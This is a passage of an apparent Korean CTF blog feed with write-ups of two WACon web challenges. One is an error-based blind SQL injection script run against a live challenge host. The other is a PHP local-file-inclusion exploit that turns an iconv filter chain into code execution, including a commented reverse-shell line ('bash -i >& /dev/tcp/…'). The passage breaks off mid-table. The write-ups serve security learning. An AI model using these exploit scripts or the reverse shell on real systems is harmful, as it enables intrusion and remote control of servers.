      <category>CTF/web</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/4</guid>
      <comments>https://dmawhwhd.tistory.com/4#entry4comment</comments>
      <pubDate>Tue, 28 Jun 2022 23:18:58 +0900</pubDate>
    </item>
    <item>
      <title>Wacon - sqqqli</title>
      <link>https://dmawhwhd.tistory.com/3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;매우매우 간단한 error based sql injection 문제입니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1656353921409&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
import sqlite3
import random
import string
import os

def randName():
	return ''.join([random.choice(string.hexdigits) for i in range(16)])

dbpath = f'/tmp/{randName()}.db'
conn = sqlite3.connect(dbpath)

cur = conn.cursor()

cur.execute(&quot;&quot;&quot;
CREATE TABLE flag (flag TEXT)
&quot;&quot;&quot;)

cur.execute(f&quot;INSERT INTO flag VALUES ('{os.getenv('FLAG','flag{fake-flag}')}')&quot;)

q = input('Query &amp;gt; ').lower()
if('lo' not in q):
	try:
		cur.execute(q)
		print('Done!')
	except:
		pass
else:
	print(&quot;sorry i can't allow that :'(&quot;)

conn.commit()
conn.close()
os.remove(dbpath)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag column과 table을 모두 알려주었고 원하는 query를 실행시킬 수 있습니다. 하지만 결과 출력해주는 부분이 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 lo가 필터링이 되어 있습니다. 그래서 randblob()과 load_extension()를 사용할 수 없습니다. query를 한 개만 실행시킬 수 있고 load_extension()이 막혀있기에 rce는 불가능합니다. memory corruption을 이용하면 될지도 모르겠지만 web hacking 문제로 나왔기에 아니라고 생각했습니다. 그래서 error based blind sql injection을 통해 풀이해야 한다고 생각했습니다. 장시간의 구글링의 끝에 저는 match라는 기능을 알게 되었고 이 기능을 통해 error를 내어 풀었습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1656354212189&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

#p = remote('110.10.147.146', 9020)
flag = &quot;&quot;

for i in range(1,100):
    for j in range(32,128):
        p = remote('110.10.147.146', 9020)
        payload = &quot;&quot;
        payload += &quot;select flag from flag where case when nullif(unicode(substr(flag,&quot;+str(i)+&quot;,1)), &quot;+str(j)+&quot;) then (select flag from flag where flag match '1') else 1 end;&quot;
        p.recvuntil(' &amp;gt; ')
        p.sendline(payload)
        try:
            res = p.recv(1024)
            p.close()
            if &quot;Done!&quot; in res:
                flag += chr(j)
                print(flag)
                break
        except:
            p.close()
            continue
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: WACon{sql-is-fun-fun-fun!!!!!}&lt;/p&gt;</description>
      <category>CTF/web</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/3</guid>
      <comments>https://dmawhwhd.tistory.com/3#entry3comment</comments>
      <pubDate>Tue, 28 Jun 2022 03:26:55 +0900</pubDate>
    </item>
    <item>
      <title>Wacon - Kuncɛlan</title>
      <link>https://dmawhwhd.tistory.com/2</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;예선 시간에 문제를 거의 다 풀었는데 아쉬워서 여러 풀이들을 공부하여 write up을 작성해봤습니다..!!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBb3aL/btrFQXC7iwX/nhjl06zsTCwYLZHQurwyKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBb3aL/btrFQXC7iwX/nhjl06zsTCwYLZHQurwyKk/img.png&quot; data-alt=&quot;문제 descryption입니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBb3aL/btrFQXC7iwX/nhjl06zsTCwYLZHQurwyKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBb3aL%2FbtrFQXC7iwX%2Fnhjl06zsTCwYLZHQurwyKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;396&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;문제 descryption입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;div id=&quot;__endic_crx__&quot;&gt;
&lt;div class=&quot;css-1abc5oq&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2554&quot; data-origin-height=&quot;1393&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4aWeX/btrFLEYqnrD/IbUEQgHtPcZYAjgDidlKmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4aWeX/btrFLEYqnrD/IbUEQgHtPcZYAjgDidlKmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4aWeX/btrFLEYqnrD/IbUEQgHtPcZYAjgDidlKmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4aWeX%2FbtrFLEYqnrD%2FIbUEQgHtPcZYAjgDidlKmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2554&quot; height=&quot;1393&quot; data-origin-width=&quot;2554&quot; data-origin-height=&quot;1393&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서 제공되는 http://114.203.209.112:8000에 접속한 모습입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2556&quot; data-origin-height=&quot;904&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsYxfD/btrFT0TzV4V/9AXMBCkEBwFHoPh9Aqzrsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsYxfD/btrFT0TzV4V/9AXMBCkEBwFHoPh9Aqzrsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsYxfD/btrFT0TzV4V/9AXMBCkEBwFHoPh9Aqzrsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsYxfD%2FbtrFT0TzV4V%2F9AXMBCkEBwFHoPh9Aqzrsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2556&quot; height=&quot;904&quot; data-origin-width=&quot;2556&quot; data-origin-height=&quot;904&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;guest, guest로 로그인 하게 되면 curl을 보낼 수 있는 기능이 있습니다. 하지만 localhost이어야 가능하다고 알려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://114.203.209.112:8000/index.phtml?fun_004ded7246=load url이 이렇게 생긴 것을 보아 혹시 include인가 싶어 index를 넣어봤습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1245&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjQQGu/btrFViMYmzk/hCokKJkD9G6uNuFXt35OIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjQQGu/btrFViMYmzk/hCokKJkD9G6uNuFXt35OIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjQQGu/btrFViMYmzk/hCokKJkD9G6uNuFXt35OIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjQQGu%2FbtrFViMYmzk%2FhCokKJkD9G6uNuFXt35OIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1245&quot; height=&quot;570&quot; data-origin-width=&quot;1245&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무한루프를 도는 것을 보아 include가 맞다고 생각했습니다. index만 넣었을 때 include가 되었기에 .phtml이 뒤에 붙는 것을 예측할 수 있습니다. 그래서 php://filter/convert.base64-encode/resource=index를 통해 소스 leak을 하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1656344304108&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
session_start();

if(!isset($_SESSION['username'])) {
    header('location: ./login.php');
    die();
}
?&amp;gt;



&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&amp;gt;
    &amp;lt;meta name=&quot;description&quot; content=&quot;&quot;&amp;gt;
    &amp;lt;meta name=&quot;author&quot; content=&quot;&quot;&amp;gt;
    &amp;lt;link rel=&quot;icon&quot; href=&quot;favicon.png&quot;&amp;gt;

    &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;

    &amp;lt;link rel=&quot;canonical&quot; href=&quot;https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/&quot;&amp;gt;

    &amp;lt;!-- Bootstrap core CSS --&amp;gt;
    &amp;lt;link href=&quot;https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;

    &amp;lt;!-- Custom styles for this template --&amp;gt;
    &amp;lt;link href=&quot;https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
  &amp;lt;/head&amp;gt;

  &amp;lt;body&amp;gt;

    &amp;lt;header&amp;gt;
      &amp;lt;!-- Fixed navbar --&amp;gt;
      &amp;lt;nav class=&quot;navbar navbar-expand-md navbar-dark fixed-top bg-dark&quot;&amp;gt;
        &amp;lt;a class=&quot;navbar-brand&quot; href=&quot;./index.phtml?fun_004ded7246&quot;&amp;gt;Home&amp;lt;/a&amp;gt;
        &amp;lt;button class=&quot;navbar-toggler&quot; type=&quot;button&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#navbarCollapse&quot; aria-controls=&quot;navbarCollapse&quot; aria-expanded=&quot;false&quot; aria-label=&quot;Toggle navigation&quot;&amp;gt;
          &amp;lt;span class=&quot;navbar-toggler-icon&quot;&amp;gt;&amp;lt;/span&amp;gt;
        &amp;lt;/button&amp;gt;
        &amp;lt;div class=&quot;collapse navbar-collapse&quot; id=&quot;navbarCollapse&quot;&amp;gt;
          &amp;lt;ul class=&quot;navbar-nav mr-auto&quot;&amp;gt;
            &amp;lt;li class=&quot;nav-item active&quot;&amp;gt;
              &amp;lt;a class=&quot;nav-link&quot; href=&quot;./index.phtml?fun_004ded7246&quot;&amp;gt;Home&amp;lt;/a&amp;gt;
            &amp;lt;/li&amp;gt;
            &amp;lt;li class=&quot;nav-item active&quot;&amp;gt;
              &amp;lt;a class=&quot;nav-link&quot; href=&quot;./index.phtml?fun_004ded7246=load&quot;&amp;gt;Fun?&amp;lt;/a&amp;gt;
            &amp;lt;/li&amp;gt;
          &amp;lt;/ul&amp;gt;
          &amp;lt;h5&amp;gt;&amp;lt;font color=&quot;#fff&quot;&amp;gt;Welcome &amp;lt;/font&amp;gt;&amp;lt;font color=&quot;#fff&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $_SESSION['username']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;  &amp;lt;/h5&amp;gt;
          &amp;lt;h5&amp;gt;&amp;lt;a class=&quot;nav-link&quot; href=&quot;./logout.php&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/nav&amp;gt;
    &amp;lt;/header&amp;gt;

    &amp;lt;!-- Begin page content --&amp;gt;
    &amp;lt;?php 
    if (isset($_GET[&quot;fun_004ded7246&quot;])) {
      if($_GET[&quot;fun_004ded7246&quot;] !== &quot;&quot;){include $_GET[&quot;fun_004ded7246&quot;].&quot;.phtml&quot;;}
      else {
      ?&amp;gt;
                      &amp;lt;main role=&quot;main&quot; class=&quot;container&quot;&amp;gt;
                      &amp;lt;h1 class=&quot;mt-5&quot;&amp;gt;They said ?&amp;lt;/h1&amp;gt;
                      &amp;lt;p class=&quot;lead&quot;&amp;gt;A secure website should start with &amp;lt;code&amp;gt;https&amp;lt;/code&amp;gt; rather than &amp;lt;code&amp;gt;http&amp;lt;/code&amp;gt;. The &quot;s&quot; in &quot;https&quot; stands for &quot;secure&quot;. &amp;lt;/p&amp;gt;
                      &amp;lt;/main&amp;gt;
      &amp;lt;?php
      }
    }
    else{
      header('location: ./index.phtml?fun_004ded7246');
      die();
    }
    ?&amp;gt;

    &amp;lt;footer class=&quot;footer&quot;&amp;gt;
      &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;span class=&quot;text-muted&quot;&amp;gt;You can totally do this.&amp;lt;/span&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/footer&amp;gt;

    &amp;lt;!-- Bootstrap core JavaScript
    ================================================== --&amp;gt;
    &amp;lt;!-- Placed at the end of the document so the pages load faster --&amp;gt;
    &amp;lt;script src=&quot;https://code.jquery.com/jquery-3.2.1.slim.min.js&quot; integrity=&quot;sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;window.jQuery || document.write('&amp;lt;script src=&quot;https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js&quot;&amp;gt;&amp;lt;\/script&amp;gt;')&amp;lt;/script&amp;gt;
    &amp;lt;script src=&quot;https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src=&quot;https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1656344338185&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die(&quot;only in include&quot;);
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('10.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('172.16.0.0') &amp;gt;&amp;gt; 20 == $int_ip &amp;gt;&amp;gt; 20 
            || ip2long('192.168.0.0') &amp;gt;&amp;gt; 16 == $int_ip &amp;gt;&amp;gt; 16 
            || ip2long('0.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return &quot;IP not allowed or host error&quot;; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return &quot;Error !&quot;;
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION[&quot;X-SECRET&quot;] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie(&quot;USER&quot;,$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie(&quot;X-TOKEN&quot;,hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].&quot;guest&quot;)); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = &quot;&quot;;

if (isset($_POST['url']) &amp;amp;&amp;amp; !empty($_POST['url']))
{
    if ( 
        $IP === &quot;127.0.0.1&quot; 
        &amp;amp; $_COOKIE['X-TOKEN'] === hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        &amp;amp; strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = &quot;Only the administrator can test this function from 127.0.0.1!&quot;;
    }

}

?&amp;gt;

&amp;lt;main role=&quot;main&quot; class=&quot;container&quot;&amp;gt;
&amp;lt;h1 class=&quot;mt-5&quot;&amp;gt; :// ?&amp;lt;/h1&amp;gt;
&amp;lt;p class=&quot;lead&quot;&amp;gt;cURL is powered by libcurl , used to interact with websites  &amp;lt;/p&amp;gt;
&amp;lt;form method=&quot;post&quot; &amp;gt;
&amp;lt;legend&amp;gt;&amp;lt;label for=&quot;url&quot;&amp;gt;Website URL&amp;lt;/label&amp;gt;&amp;lt;/legend&amp;gt;
&amp;lt;input class=&quot;form-control&quot; type=&quot;url&quot; name=&quot;url&quot; style=&quot;width:100%&quot; /&amp;gt;
&amp;lt;input class=&quot;form-control&quot; type=&quot;submit&quot; value=&quot;  Request HTTP  &quot;&amp;gt;
&amp;lt;/form&amp;gt;&amp;lt;?php echo $out; ?&amp;gt; 
&amp;lt;/main&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.phtml과 load.phtml을 leak할 수 있습니다. index.phtml 소스를 보면&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;$_GET&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;fun_004ded7246&quot;&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;] !== &lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;$_GET&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;fun_004ded7246&quot;&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;.phtml&quot;&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;;}&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 아무런 필터 없이 include를 해줍니다. 따라서 rce가 가능합니다. unintend 풀이인데 hxp ctf 2021에서 나온 풀이인데 php://filter에서 filter chain을 통해 php backdoor를 생성할 수 있습니다. 단, include할 파일이 존재해야 한다는 조건이 있습니다. 이 취약점의 주요 원인은 convert.iconv.UTF8.CSISO2022KR로 encoding을 하면 \x1b$)c가 확정적으로 앞에 나옵니다. 이를 통해 원하는 글자를 생성하게 되는데 convert.base64-decode는 printable하지 못한 문자들을 다 지워주기에 encoding을 통해 생성된 문자들을 printable하게 바꿔줄 수 있습니다. \x1b$)을 encoding을 하며 문자를 만드는 filter chain은 구글링을 통해 찾아 풀이했습니다. filter chain을 찾는 코드는 짜려했지만 inconv에서 지원하는 encoding 방식이 너무 많아 아직 어떻게 효율적으로 생성할 지 모르겠어서 못 짰습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1656344522344&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Solving &amp;quot;includer's revenge&amp;quot; from hxp ctf 2021 without controlling any files&quot; data-og-description=&quot;Solving &amp;quot;includer's revenge&amp;quot; from hxp ctf 2021 without controlling any files - writeup.md&quot; data-og-host=&quot;gist.github.com&quot; data-og-source-url=&quot;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&quot; data-og-url=&quot;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bFD5Kq/hyOUYY4rZ1/19bV5qR78hMKw7XW6mk0y0/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640&quot;&gt;&lt;a href=&quot;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bFD5Kq/hyOUYY4rZ1/19bV5qR78hMKw7XW6mk0y0/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Solving &quot;includer's revenge&quot; from hxp ctf 2021 without controlling any files&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Solving &quot;includer's revenge&quot; from hxp ctf 2021 without controlling any files - writeup.md&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;gist.github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1656345134605&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
import base64

url = &quot;http://114.203.209.112/index.phtml&quot;
file_to_use =&quot;/var/www/html/load&quot;
command = &quot;ls&quot;#&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/1.225.29.95/9999 0&amp;gt;&amp;amp;1&quot;

#&amp;lt;?=`$_GET[0]`;;?&amp;gt;
base64_payload = &quot;PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4&quot;#&quot;PD89YCRfR0VUWzBdYDs7Pz4&quot;

conversions = {
    '/' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' : 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' : 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' : 'convert.iconv.UTF8.CSISO2022KR',
    'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' : 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' : 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' : 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' : 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' : 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
